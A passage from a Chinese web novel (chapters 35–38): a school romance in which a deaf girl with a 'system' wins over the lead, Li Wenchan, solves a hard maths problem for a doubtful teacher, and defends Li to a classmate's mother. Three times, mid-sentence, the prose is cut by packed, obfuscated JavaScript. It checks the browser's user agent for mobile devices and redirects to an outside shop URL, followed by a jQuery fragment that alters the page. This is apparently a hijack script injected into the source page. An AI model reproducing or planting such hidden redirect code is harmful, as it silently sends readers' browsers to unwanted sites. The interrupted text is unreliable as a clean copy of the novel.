两拨人的视线同时望去,池映雪是其中一束,恰好精准与那个倚着门框的少年在空气中相撞。 [叮!攻略对象好感+1。] [当前男主好感:34%。] 35. 第 35 章 李闻蝉朝池映雪挑了一下眉,松开抱在胸前的手,走过来站在她身侧。 “池鲤鲤。” 被他点名的池鲤鲤身体一僵。 “管好你的嘴。”李闻蝉的目光不耐地滑过其余几人,多看了眼埋着头的邢芷,皱眉道,“还有你的跟班们。” “别再让我发现你欺负她……等我们班的同学。” 万苏瑶她们去上厕所,池映雪和李闻蝉先出了店门。 又一阵风铃,她抬起头和他对视,不由一起发笑。 小雪:「你笑什么?」 CHAN:「笑你。」 池映雪瞬间息屏,笑容消失,眉头皱起来。 她哪里好笑了! 李闻蝉眼底笑意更盛。 有人要进门,池映雪条件反射地往李闻蝉身边移动,随着摆头轻甩的马尾辫拂在他外套上。 李闻蝉轻咳两声,离她远了一大步,又摸摸鼻子,踏回半步。 CHAN:「池映雪。」 小雪:「?」 「虽然不知道有没有人这么说过。」 CHAN:「其实你有时候还挺酷的。」 周二的早饭时间。 池映雪每天在家里吃早餐,但还是陪万苏瑶去了食堂。 万苏瑶用白煮蛋蘸酱油,边吃边凑过去看池映雪手里的课外书。 她记得好多天前就见过她捧着长得差不多的书看。 唔……按小雪的学霸属性,不会是什么《时间简史》《鲁迅文集》吧? 池映雪把书封对准她。 ——《他的小猫咪》。 万苏瑶:“………………” 学霸的口味真独特。 她要不要也去买一本?成绩会好吗? 池映雪不好意思地捋了捋碎发,赶紧发消息解释:「这是我和你说过的,之前在七中最好的朋友之一借我的小说,因为我对校霸文很感兴趣。」 「虽然这个名字有点……但是内容还可以。」 嗯。 忽略里面的男主总是时不时冒出一句“小喵喵”的话。 瑶瑶:「啊,懂了。」 瑶瑶:「我不看小说,但我家爱豆演过校霸。」 瑶瑶:「说到校霸……」 池映雪生怕她发现什么,不安地捏着裙摆。 瑶瑶:「我爱豆演的那个真的很帅!而且我觉得校霸最重要的是看起来很能打,实际上反差萌,比如表面厌世私下喜欢毛茸茸的猫猫狗狗呀~迟到旷课结果是去扶老奶奶过马路呀~」 池映雪紧攥的手放松,呼了口气,点头赞同。 不过,她上次的确在李闻蝉袖口发现了动物毛发一样的东西。 ……他也和书里的校霸一样喜欢毛茸茸吗? 第一节数学课,每次提前一两分钟到班的徐静萌迟迟没有出现。 池映雪心不在焉地翻动课本,时不时朝窗外的走廊看一眼。 跑操时她就觉得徐老师脸色不太好,还以为是心情的原因,难道是身体不舒服? 上课铃整点响起。 池映雪的表指向八点整,她抬起头,一个男人走进教室。 气质很沉稳,高挑匀称,眉骨高挺,戴一副银边眼镜,看上去便是智商极高的精英型男。 表情却并不好。 齐幂目光薄薄,快速地扫视一眼台下众人,打开电脑播放刚做好的PPT。 “徐老师发烧请假,在她彻底康复前,你们班的数学课由我来上。” “我不像徐老师那么好说话,三个要求。一,不管你们基础如何,从今天到我离开那天,所有练习和测试与一班同一标准;二,你们每个人要端正态度,对学习严谨。就算放弃自己,不许影响别人。” 身后的PPT很像是脱口的稿件,池映雪有种感觉。 ——PPT是考虑到她制作的。 那么一定有什么话,他想强调给她听。 齐幂:“三。” “我带的班级,不允许出现投机取巧的人。” 他冷淡陈述,眼神轻蔑,“我知道你们绝大多数人的成绩很糟,但作弊是红线,永远不要自欺欺人。” 全班鸦雀无声。 有几人消息灵通,瞬间就朝池映雪的方位看过来。 李闻蝉忽然把手机往桌上一扔,靠在椅背上,吸引了全班的目光。 他懒散地举起一只手,似笑非笑:“莫非齐老师很有经验,带的另一个班肯定有同学作弊吧?” 一副不好惹的痞样。 池映雪担心地连发好几条消息劝说,没得到回复。 齐幂不屑道:“如果连对师长最基本的尊重都没有,你可以出去了。” “反正对你这样的学生来说,坐在教室里也只是浪费资源。” 教室里一时剑拔弩张,比刚才还静。 “尊重是相互的。” 李闻蝉姿态轻慢,没有愤怒,只是毫不退缩的睨着齐幂,“为人师表,却一来就鄙夷学生的成绩,强调学生的人品,这算什么?” “就算你没有恶意,我作为学生听到这样的话,很不舒服。我们不是你的精英班,但同学间相处这么久,品德和素养有目共睹,不需要你充满歧义的强调。” 其余同学也暗自点头:就是就是! 只是他们绝大多数人都没那么大胆子,和李闻蝉这个刺头一样直接表达出来。 齐幂眯起眼浏览台下众人的神情,尤其深深看了一眼正在给李闻蝉递小纸条的池映雪。 他的话噎在喉间,没再说下去,接着徐静萌的讲义授课。 课后,万苏瑶对齐幂离开的背影翻了个大白眼,去水群里@穆雨阳。 万苏瑶:「我算是知道为啥qm长的盘正条顺却没人当迷妹了,死装男,满脸写着瞧不起人!」 秋怡:「说的好像我们求着他来教似的,看不上5班就别来啊!」 秋怡:「萌萌姐不在的第一天,想她。」 穆雨阳:「你们想多了,他不是瞧不起五班,他是所有成绩不好的都瞧不起,尤其数学。」 穆雨阳:「老齐的心肝就是沈星桥,除此之外真不知道他对谁还有好脸色。」 胡挚:「我说呢,你是不知道你们老齐今天怎么说蝉哥的,真想揍他。」 穆雨阳:「什么?!!!!他居然敢说我蝉哥??!」 穆雨阳:「我再也不要叫他老齐了。以后他就是冷冰冰的班主任,呵呵。」 李闻蝉照例潜水,手指滑动着屏幕,淡淡勾唇。 又很快压下唇角,按灭屏幕。 池映雪若有所思。 她私聊穆雨阳问些事情,还没聊几句,李闻蝉就把她刚扔过去的小纸条捏成团丢回来。 劝他少说几句,怕被老师针对的话后跟了两个飘逸潇洒的字。 「包子。」 池映雪撇了撇嘴,飞快地在后面写话,有学有样地扔回去。 李闻蝉勾起唇,打开皱巴巴的纸团看。 「我才不是。」 「我是真的不在意。不说齐老师,就拿递匿名信的那些人说,他们打心里不认可我,我何必为了他们去浪费时间自证?放着不理就好了。」 这片便签纸被写得满满当当,李闻蝉刚看完,还没回过神来,池映雪就走过来,在上面贴上新的一张。 「不过,还是要谢谢你们。」 总是愿意相信她、帮她。 不委屈是不可能的,七中时期这样的事已发生过不知道多少回,她早就从愤愤不平变成了心平气和。 可在她自己都无所谓了的时候,还有人会鸣不平。 池映雪低着水润的眸,长睫垂下。 李闻蝉很轻地哼笑一声,把便签纸揣进兜里,拿起手边的漫画敲了敲她的脑袋。 池映雪的眼睛瞬间干涸,捂着脑门瞪他一眼,狠狠转身,往座位走去。 身后响起某人的低声嘟囔。 “受过多少委屈啊,这么豁达。” [叮!攻略对象好感+1。] 穆雨阳身为优秀的编外人员,在水群里分享了很多齐幂带班的注意事项。 比如早操要求学生边跑边记单词或古文、午自习经常安排练习或小测、正式上课前很喜欢随机抽学号上台做题…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635255|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐幂带班的第二节数学课,第三条就应验了。 不知道他用的什么软件,32个号码在大屏幕上随机轮转,最后停留在“32”。 胡挚:“我靠……” 万苏瑶和其他几个关系比较好的女生纷纷回头,看向已经站起来的池映雪。 齐幂刚把题目投影到屏幕上,转头和她对视。 他的动作停顿一秒,将原本选好的那一页翻过,换成精编习题簿里这个单元的压轴。 池映雪注意到那是一道略超纲的题,脚步分寸不乱,慢慢向讲台踱步。 不止她一人看出来题目的刻意为难,万苏瑶焦躁地“啧”了一声,抓了抓头发。 她知道小雪聪明,可这题也是人能做的? 齐幂故意的吧?!万一小雪真的做不出来…… 池映雪路过何骏的座位,何骏快意地拧紧拳,压低声音对同桌说:“她完了,做不出来就等着被一班老师质疑月考成绩吧!” “……可她平时成绩就很好啊,有什么好质疑的。” 同桌不解,池映雪年级第五是他们班的光彩事啊。 “而且这题目超纲了,不会做也很正常吧。” “你懂个屁。”何骏阴毒地瞪着池映雪已经踏上讲台的清瘦身影,“一个死聋——” 他咬紧牙关,没敢再接着说下去。 第一次他说她,被李闻蝉抽凳子摔了个脚朝天; 第二次发化学卷子,当时倒是没事,只不过选修课他在操场上踢足球,又遇上正好翘课来踢球的李闻蝉,被他一个篮球主力踢得怀疑人生。 那家伙简直就是个变态!!不仅赢球,还在规则内给了他好几脚,害他一连几天走路都瘸着脚! 大家都觉得是正常摩擦,但何骏就是觉得他眼神很不对劲。 一个李闻蝉他就招惹不起,再来一个池映雪,何骏怀疑他俩命中克他。 胡挚刚听万苏瑶说完题目的难度,又气又担心。 回头一看,李闻蝉却只是悠闲地靠在位子上,一点也不上心的样子。 “蝉哥,你真是一点都不急啊!” 胡挚头都快挠破了,“万姐说这题连章子健都看不懂,估计是那群竞赛生做的,齐幂搞毛啊?” “靠!要是我学习好,就替她上去了……” 李闻蝉:“有什么好急的。” 胡挚眼神鄙视:“雪神那么好,你要不拒收人家吃的,要不漠不关心,蝉哥你太狠心了!” 李闻蝉无奈:“你不觉得她挺……” 他抬起眼,正好与讲台上正在伸手拿粉笔的池映雪四目相对。 “挺?挺什么??” 胡挚摸了摸下巴,狐疑地眯起眼,“挺——漂亮?” 那………确实。 本来池家底子就好,最近没以前那么缺营养和瘦弱,好像还长高了点,长开了些。 就是不知道他蝉哥这么淡然的人什么时候也关注起这些来了? “哎呀不提这个,我和你说正事呢!” 李闻蝉白了他一眼,没再搭理。 他转回视线,明知不会被听见,还是低声道:“运筹帷幄。” 清澈的声音轻飘飘,还是那样懒懒散散,嘴边挂着闲适的笑。 “她肯定没问题啊。” 池映雪手里刚捏起来的粉笔掉了下去。 耳边太安静就是有这点不好,接近一整个教室的距离,还是能听得很清晰。 “……”她把碎发别到耳后,重新抬起手指。 伸向粉笔盒之际,眼神定格在最后一排,李闻蝉随意搭在桌上的手。分明的骨节向内扣,宛如松松的拳。 池映雪握住粉笔的手蜷成一个小拳头,在空气中向前轻轻一探,很小的幅度。 李闻蝉眼皮微颤,眉梢挑起来,下意识坐直,食指动了一下。 胡挚早就转了回去。除了池映雪,所有人都背对他,没人注意到最后一排。 李闻蝉慢慢弯了眼角,卧蚕更深。 他也抬手伸出拳,遥遥朝向她。 无声无触,隔着大半个教室,两拳相击。 加油。 36. 第 36 章 池映雪挪动着碎步,面向黑板,不由抿嘴偷笑。 她拍拍脸,将注意力投入题目。说实话,真的很难,从座位站起来的那一刻她就开始思考,一直到现在,还是没有完整的思路。 女生背对着教室众人,看着就是在对题发呆,毫无头绪。 同学们大都对这种题没有深入研究的兴趣,刚放下笔就望见这一幕。 万苏瑶紧张地小声祈祷:“小雪加油!” 何骏则是乐见其成,捂着嘴偷笑。 胡挚已经在拍照搜题了,李闻蝉定定看着纹丝不动的池映雪,手指敲着太阳穴,回忆起某个画面,暂时松开皱起的眉。 齐幂平静地凝视已经面露苦恼的女孩,扫一眼台下的学生,等他们纷纷低头后,走近讲台,站在池映雪旁边的地方翻课本。 题目是超纲的,但有灵活的解法。如果能想到这种证明思路,利用课本上的二级公式也能巧妙解答。 他翻到这个公式所在的页码,正要把书从讲台下给她,身侧突然传来粉笔利落的书写声。 池映雪写下一个漂亮的“解”。 齐幂眸光微动。 台下的万苏瑶和胡挚一起挥拳:“Nice!” 然而池映雪写完这一个字,手又落了下去。 胡挚:“………………” “不是。”他感慨,“我以为只有我这种学渣才会只写一个解就停笔……” 何骏立马松了一大口气,对同桌笑得猖狂:“我说什么来着?不行就是不行,一上场就露馅!” “打个赌,她要是做出来,我包你一月的饭!” 同桌眼神飘忽,轻咳一声:“真的吗?” 何骏:“来,立字据啊!” 二人签下名字,同桌指了指黑板:“喏。” 何骏:? ——不知什么时候,原本空空荡荡的黑板已经一片白痕。圆润秀丽的“解”字之后,条理清晰、分类讨论的证明过程俨然其上。 池映雪开始解题后就没有丝毫停顿,行云流水,不像在做艰涩的数学题,反而像在作画或者写诗。 反正李闻蝉从前一直没懂徐静萌说的那句“数学是一门美丽的学科”,今天倒是有些顿悟。 工整、严密、漂亮,真的很美。 他脸上的笑意彻底轻松,渐渐扩大,不自觉地露出梨涡,倏尔反应过来,赶紧压嘴角收住。 “综上,该结论成立。” 池映雪半曲膝在这面黑板的最下方写下这句话。 齐幂浏览着她的过程,没有一个字是多余的,眼中闪过暗芒。 他正准备开口,又默默闭紧。因为池映雪已经直起身,举手在下一面黑板上写字。 白色粉笔秀气地横平竖直,她写下“另解”。 这次没有一丁点停顿,可见是之前沉吟的时候就同时想好的。 刚才的解法是超纲解法,用了高数的公式;现在书写的思路则是齐幂留题的初衷,运用课内知识解答。 她还没完全证完,台下已响起章子健等几个数学较好的学生阵阵吸气声。 一题结束,池映雪转身放粉笔,听见来自熟悉位置的掌声。 啪、啪、啪。 清脆又响亮。 李闻蝉的眼睛弯起,蕴含着骄傲,就和他自己做出来题似的。 接二连三的同学跟着他一起鼓掌,一眼望去,每个座位上都像翻动着肤色的蝴蝶。 唯一能听见的掌心相击声一下连着一下,久久不断绝。 只有一个人没鼓掌,池映雪看清何骏的脸后,不在乎地转开眼,结果正好看见他的同桌对她竖起大拇指,满脸……感激。 池映雪:?? 她回到座位,齐幂也开始就黑板上的过程讲解。 池映雪总归听不到,埋下头就开始向后预习。 再抬头,意外发现她写下的答案后,被齐幂用红色粉笔打上两个勾,写着连笔的“excellent”。 这个老师,好像也没那么坏。 下课后,胡挚纠缠着李闻蝉,嘴里叽歪个不停。 李闻蝉一脸嫌弃地将他推开,拿起杯子准备去接水。 万苏瑶坐在位子上整理发卡,听了一耳朵,好奇道:“虎子你说啥呢,什么漂亮不漂亮?” 哎呀,不会是在说她吧? 万苏瑶嘴角难压。她漂亮人尽皆知,还用得着他说…… 胡挚:“哦,就是蝉哥上课说雪神漂……唔唔!” 李闻蝉本来都走到后门口了,两步并作一步回来捂住他的嘴。 他别扭地看了一眼池映雪,动了动嘴唇,又终于只是掐了下胡挚的腰,缄默不语。 万苏瑶闹了个大红脸,转头就乐呵呵地发消息告诉池映雪。 池映雪心里想,她的手机电池可能不太好了。 虽然是才拿到没多久的最新款手机,可如果不是电池有问题,怎么会这么烫? 她目光一闪,向右仰头,撞上李闻蝉来不及错开的眉眼。 万众瞩目的男主角……居然会觉得她漂亮吗? 池映雪浑身都不对劲起来。甚至想直接找块布把自己的脸包起来,不再让他看。 她很快低下头,左手贴在脸和脖子的交界处,右手快速打字。 「没有多漂亮,都是瑶瑶设计的新发型好看才……」 自编发那天后,万苏瑶就热衷起打扮她。昨天梳了蝴蝶结半扎发,今天是半扎公主头。 耳边忽然响起衣料窸窣的声音,池映雪一转头,李闻蝉的脸近在眼前。 他俯下身,凑近来看她的屏幕。似乎并没有察觉到她的视线,浓黑色的睫毛向下半遮住眼,神情淡然,只专注于还未发送的打字框。 池映雪视线稍微偏移。 李闻蝉耳垂染着薄薄的粉。 “新发型?” 他忽然皱眉,睫毛向上扬起,向后拉远距离打量她。 李闻蝉转向万苏瑶,眼神是单纯的好奇:“她换发型了?” 池映雪:“……” 池映雪把输入框里的字挨个删掉,摇了摇头,默默转回去写作业。 李闻蝉绕到她身后仔细观察,摸了摸鼻子,有些懊恼地嘟囔:“有什么区别……” 手机震动,池映雪晾了一分钟才去看。 瞧见小红点前的名字,她眼睛睁圆,略心虚地点进去。 StarBridge:「(图片)」 StarBridge:「我妈妈在E国出差,想抽空给你买个伴手礼,这支钢笔你喜欢吗?」 池映雪没见过这个牌子,但一看就知道很贵。 还没来得及拒绝,沈星桥又说:「妈妈经常和我念叨你,要不是阴差阳错,我们本该一起长大,所以这点心意你不用有负担。」 「就当是我们友情的见证好吗?」 小雪:「好。谢谢你们,太麻烦阿姨了。」 那边一时没再回复,池映雪向上翻看聊天记录。 这段时间沈星桥几乎每天都找她讨论题,大部分时候是奥数,还有少许物理。她发完自己的思路后,两个人就顺势聊两句有的没的。 每当这个时候,系统就会把电子屏弹到手机上方,来回滚动:[不要喜欢上他…不要喜欢上他……] 池映雪照常忽视,轻咬唇,打字又删,删了又打。 小雪:「沈星桥,你那天怎么一眼就看出来我换了发型呀?」 「变化很大吗?」 StarBridge ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635256|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :「你猜。」 StarBridge:「你很喜欢做头发?如果有需要,我把沈家长期合作的专业造型师推给你,设计一个新的刘海之类。」 小雪:「啊,那太麻烦了。」 StarBridge:「不会的。」 StarBridge:「你的事,再麻烦也值得。」 池映雪看见最后这条消息,下意识息屏,无措地抬起头环顾四方,幸好周围的人都在补觉。 她实在不知道怎么回复,过了十来秒,沈星桥道:「抱歉,我是不是太唐突了?」 池映雪这才打字:「没有没有。」 只是她从来没有被说过这些话,心里有点怪怪的。 和在李闻蝉面前偶尔滋生的那些怪还不一样,池映雪说不上来是哪里不同,只能把两种感受都挥出脑海,沉浸到课本中。 午练小测后的自习时间,齐幂在讲台上判卷,亲自给正在做题的同学发放。 他走近池映雪时,以万苏瑶和胡挚为首的一圈人用眼神对他发起一级戒备。 齐幂无动于衷,将满分的小测卷轻放在池映雪眼前,快速回到讲台。 小测卷下面还叠着一张差不多大小的纸,池映雪疑惑地翻过来。 是一封手写的道歉信。 从语言风格到凌厉的字体,一看就是齐幂所书。 “不知你是否听说有关你本次月考的诸多质疑,我认为你有知情的权利:有同学匿名检举你作弊,且将这件事与你的入学资格、你家庭在学校的董事地位并论。 我主张对你展开调查,因为我相信虹文的监考环境。或许我没有考虑到公开调查、通报、用困难的题目故意考验你带来的心理影响,特此向你致歉。 但由此可见,你们班倒是很团结。” 看到这里,池映雪似乎都能幻视出齐幂的一抹冷笑。 “就像你们徐老师对我说的那样,重点不是成绩,是调查和试探本身就代表对学生的不信任。” “……总之,我并未怀疑过你的月考成绩,但在亲自教导之前,的确不予认可未经时间检验的偶然结果。 现在我可以很负责任的说,你是一位优秀的学生,无论何时,不必因为我先前那样怀疑的目光质疑自己。” 下午万苏瑶照例diss齐幂的时候,池映雪把道歉信拿给她看。 万苏瑶哼了两声,对齐幂没那么抵触。 瑶瑶:「说到底,他一开始就觉得你是运气好,结果还不是被我们小雪的聪明才智折服了!」 万苏瑶忽的朝教室左边的后门望去,池映雪跟着回身,只见门口站着一个不认识的妇女,年龄看上去与妈妈差不多。 不同于秦书的精细保养,妇人眉间有一道皱痕,略显沧桑;倒有些像应母,面目间却没有应母那种精明和苛刻。 池映雪愣神,说起来,她已经很久不曾见过甚至想起应家了。 回到池家前,池怀元当着她的面给了应家夫妇一张卡。他们原本对她要被带走且不归还池鲤鲤的事满脸不愿,收下卡后眼中就瞬间没了她这个人。应光司从头到尾都没有露面,池映雪长大后和这个弟弟实在谈不上亲,现在也没什么想念的情绪。 恍如隔世。 在七中的日子,要不是有苹安和裴景,真的就和一场梦一样。 她在的世界是一本小说,如果一切都是被安排好的,那让她被换走16多年的意义是什么呢? 万苏瑶已经去和妇女交谈,池映雪还在想事情。 系统试探性地哔哔了几声,确认天道没注意,赶紧调出电子框提醒。 [宿主,这个女人就是穆雨阳的妈妈,穆筝!] [她现在就是来找男主大人,叫他离她儿子远点的!] 37. 第 37 章 池映雪重新把视线投向穆筝。 仔细一瞧,她和穆雨阳长得是挺像的,皮肤都很白,比不上李闻蝉那种冷感如玉的白,但在普通人里称得上一句白净。面容都周正,穿衣打扮的守序感很强。 池映雪在聊天时套过穆雨阳的话,他还没发现李闻蝉的反常,只是…… “系统,穆阿姨怎么又来找李闻蝉?” 系统一头雾水:[宿主在说什么呀?这就是她第一次来找男主大人呀,和原文里的时间点和发展都一模一样。] [男主不在,她让几个同学帮忙找一找,这个过程被路过的池鲤鲤看见,所以才在小说中有所提及……]糟糕,它好像说的有点多了! 那李闻蝉为什么在前阵子就开始疏远穆雨阳了? 还是说,她想错了? 穆筝已经和万苏瑶对话完,匆匆离开。池映雪连忙略过这茬,抬脚追了上去。 穆雨阳刚吃完下午饭,从另一侧楼道上来,本来打算来班上找李闻蝉,隔老远就看见池映雪推门而出,不似平时做什么都轻手轻脚。 穆雨阳抬起手,笑着看过去,却在认出池映雪身前的人是谁后定在原地。 穆筝不知道平时是做什么的,健步如飞。池映雪在后面一路小跑,好不容易才气喘吁吁地追上她。 池映雪出来的急,没有带手机,在穆筝审视地看向她时手足无措,翻着每个口袋,终于在裙子两侧的大口袋里翻到了随身的小册子和胶囊笔。 「阿姨好,我叫池映雪,您叫我小雪就好。」 穆筝没反应过来她为什么用笔写话,下意识微笑道:“小雪同学哦!阿姨来的时候在光荣榜上见过你,这次的年级前五对吧?” 池映雪尴尬地指了指自己的嘴巴和耳朵,接着写字。 「抱歉阿姨,我是个聋哑人。」 「冒昧拦住您是有些话想说,拜托您给我一点时间。」 穆筝吃惊地“啊”了一声,看了眼手表,拍了拍她的手,笑着点头。 池映雪松了口气。 穆阿姨看上去还挺好说话的。 池映雪第一次这么迅速地写字,字字连笔,但写的很认真。 「我刚来学校的时候迷路,是一个好心的同学把我带到班上;地铁站我又遇见他,我不会用手机购买地铁票,他又一次帮了我。」 「不瞒您说,之前我和穆雨阳被同一个男生欺负过,还造了谣,是那位同学在背后帮我们,才得以彻底澄清流言; 就在前不久的月考,很多人不相信我能考到这样的成绩,也是他支持我回击质疑的声音。 这些都不是我主动寻求帮助,而他帮助的人,远不止我一个。」 还有很多细节来不及写。 也是只有如今复盘才让她意识到,李闻蝉真的给了她好多帮助,好多好多力量。 池映雪停顿一下,睫毛轻颤,一笔一划地写:「这位同学叫李闻蝉。阿姨,他真的是一个特别好的人,特别好的朋……」 然而,她以为的万事大吉没有发生。 穆筝在看见“李闻蝉”三个字后,面上有一闪而过的嫌恶,看向池映雪的目光也从怜爱改为怀疑。 她掉头就走,池映雪拦了一下没拦住,赶紧再度跟上。 就在这时,楼梯道的转角走上来一个人。 穆筝:“齐老师,又见面了。” 她看了一眼身后的池映雪。虽然不知她如何得知她要去找李闻蝉,小姑娘显然非常在乎这件事,看见齐幂后却像定住了一样。 穆筝思考几秒,对齐幂笑着道:“方不方便问齐老师一些事?” 池映雪紧盯穆筝,在她的口型里大致看清“李闻蝉”“怎样”几字。 她又不安地偷看齐幂冷峻的面庞。 齐老师……会帮李闻蝉说话吗? 想到上课二人的互呛,池映雪捏紧小本子和笔,咬着嘴唇。 “上次我来见齐老师的时候,听您说雨阳在学校除了学习,经常下楼去找一个叫李闻蝉的男生玩,还称兄道弟。” 穆筝皱眉,“和您道别后我就用雨阳的账号登了虹文的论坛查这个人,发现他打架斗殴、拉帮结派,整天不思进取,简直是个混世魔王,还很可能欺凌同学!我想问问齐老师认不认识他,这些情况属实吗?” 也是看了照片才知道,上回她下楼的时候,居然就这么和那个叫李闻蝉的男生擦肩而过,亏她当时心里还想着如何让孩子远离他这个祸害! 齐幂看向池映雪,那双在做题时游刃有余的双眼此刻流露恳切,一眨不眨地望着他的唇。 他抬手扶眼镜,眼神淡漠。 齐幂:“李闻蝉作为学生,的确不思进取,学习态度不端正。” “您提到的打架斗殴,据我所知也属实。李闻蝉在学校里不至于是混世魔王,属于‘霸王’类的角色,很少人敢和他走得近。” 穆筝深吸一口气,几乎想要下一秒就冲到李闻蝉面前,叫他不要祸害穆雨阳。 “但我这几天正好在帮五班的徐老师带数学课,可以负责任的说。” “他不会欺凌同学,更不会逼着谁当自己的‘小弟’,拉帮结派横行霸道。相反,他很有情义。” “至于李闻蝉打架的原因……穆女士,您可以听听雨阳怎么说。” 齐幂举起手中的文件袋,指向这段楼梯台阶最上的穆雨阳。 穆筝和池映雪同时回头,不知道他什么时候来的,又听见了多少。 池映雪完全判断不出来齐幂说了什么,眼巴巴地凝望过去,只得到一个凛然的阔背。 再看那边,穆雨阳已经拉住穆筝,神情激动地解释。过了很久,穆筝眼睛红红地离开,留下穆雨阳叹息的身影。 穆筝走之前很复杂地冲池映雪笑了笑,她从里面读出怅然和自责,心里有了猜测。 「你还好吗?」 穆雨阳抬起眼,一张字迹娟秀的字被池映雪递过来。 他感激地颔首,接过她手里的笔。 「还行,谢谢啊。」 「要不是你,我妈可能真的就带着误会去找蝉哥了。」穆雨阳吸了吸鼻子。 「我刚和她解释了关于蝉哥的所有事,幸好我妈信我,而不是论坛上的谣言。」 他及时在后面补充,「我妈先入为主,思想有些陈旧,觉得打架和不爱学习都是坏孩子,但我告诉他蝉哥当年唯一一次校内打架被抓典型是为了救我后,她就没那么抵触了。」 虽然还是对他和蝉哥来往颇有微词,但不至于去当面说些难听的话。 「也怪我之前怕她担心什么也没说。我爸在我很小的时候就丢下我们跑了,我妈给我改了姓,一个人运货摆摊把我养大,她和蝉哥是我生命里最重要的亲人和朋友,我真的很怕她去找他。」 池映雪没有想到这背后的故事,一时间手足无措。 穆雨阳写完就红了脸,他和池映雪不算熟,在人家面前这么竹筒倒豆子算什么事? 转眼瞧见池映雪做出给嘴拉拉链的动作,又比了个叉,似乎在说:放心吧,我肯定不会“说”出去的。 穆雨阳噗嗤一声笑出来。 「我想去找蝉哥主动坦白这件事,替我妈道个歉,你要一起吗?」 花园一角。 空气里沁润着秋日的桂花香,橘黄鲜绿,浓郁清厚。 晚霞初现,向来桀骜的少年温温柔柔,半跪在草丛后,熟稔地给几只圆滚滚的猫顺毛。 “少吃点,乖乖。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635257|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “说的就是你,小美,再胖下去就给你改名叫大壮。” 被叫做小美的三花猫很有灵性,闻言就从猫粮中探出脑袋,装作咬他的样子。 李闻蝉还很配合地低低痛呼了一声,眼里漾着毫不收敛的轻松笑意。 池映雪躲在不远处紫藤花长廊的白色方柱子后,悄悄伸出半颗头。 他真的喜欢猫诶。 所以上次她见到的那根毛,应该就是从这些猫身上掉下来的。 在小说里看这类男主的反差设定是一回事,亲眼所见又是另一回事。池映雪心里对“校霸”二字更加不认同。 眼前的画面和浴血打宁世延那次来回变幻,池映雪按下疑惑,开始全神贯注地眺望已经走过去的穆雨阳。 也不知道穆雨阳的妈妈现在到底怎么想,就算了解了李闻蝉帮助过他,可她本质上就是认定李闻蝉成绩不好,会带坏穆雨阳。 穆雨阳背对着她说话,李闻蝉抬起头,缓慢起身,二人就这样面对面谈了很久。 池映雪等啊等,感觉头顶脆黄的紫藤花叶都要枯了,也没等到李闻蝉张口。 他怎么不说话呀?她本来还想通过偷听,在这边判断穆雨阳沟通得怎么样呢。 不知为何,看穆阿姨的样子,池映雪隐约觉得这件事不会这么简单结束。 听又听不见,池映雪郁闷转过身,借由宽宽的柱子把身形完全掩盖。 她打了个哈欠,远远看着晚霞从浅粉色变到粉紫,打算等他们走后就离开。 [叮!攻略对象好感+2。] [当前男主好感:37。] 池映雪困倦的眼猛然睁大,手贴在柱子上向后冒头。 花园里已经空空荡荡,人不知道什么时候走的,她居然都没听见! 池映雪懊恼地回头,迎面撞进一双玩味的狭长眼眸,差点没吓得心跳骤停。 李闻蝉学着她,清闲地靠在对面那根柱子上,浓黑色碎发蹭到垂落的紫藤花枝,密密的金黄叶片当作背景,他眼尾上挑,噙着很深的笑。 “怎么又把你抓到了啊,池映雪。” 李闻蝉自言自语,掺着几许了然,“你说你怎么就这么爱跟踪我呢?” 池映雪立即回想起曾经在地铁站被抓包的一幕,脸红得像个虾子。 李闻蝉似乎和她心有灵犀,故意清了一下嗓,后背贴在洁白的柱上,一手撑在胸前抬起另一只挡住嘴角。 没什么用,白皙的指缝间仍然露出闷声的轻笑。 池映雪:这人好烦。 她就当自己真听不见,越过他看后面的晚霞。比这家伙好看多了。 说起来…… 池映雪的视线又不自觉平移回他身上。 他怎么次次都能精准地抓到她? 她确信柱子把她遮得死死的,这么隐蔽还能找到,莫非……他也有什么不可告人的秘密,比如系统、可以定位的超能力? 小系统屁颠颠地过来表忠心:[宿主,不可能的,我们每个世界的绑定都是1v1的,绝不存在二足鼎立、一统二主的情况!] 池映雪的注意力集中在电子屏上,眼神失焦,没有发现李闻蝉不自然地低头,撩了把头发。 等她反应过来,李闻蝉已经从柱子前动身离开,手插在校服外套的口袋里,背影和晚霞落下的柔光相浸。 一边走,一边落下含糊而清湛的嗓音,很有一番不驯。 “下次别藏了。” “反正不管你在哪,我都会找到的。” 紫藤花长廊的尽头,少年看似漠然的背影消失,留下一点若有若无的柑橘皮香气,混在九月尾巴的桂花香味里。 池映雪鼻尖动了动。 ……桂花也好香。 38. 第 38 章 回教室后,池映雪刚坐下,就收到隔壁的消息。 CHAN:「听穆雨阳说这次多亏了你。」 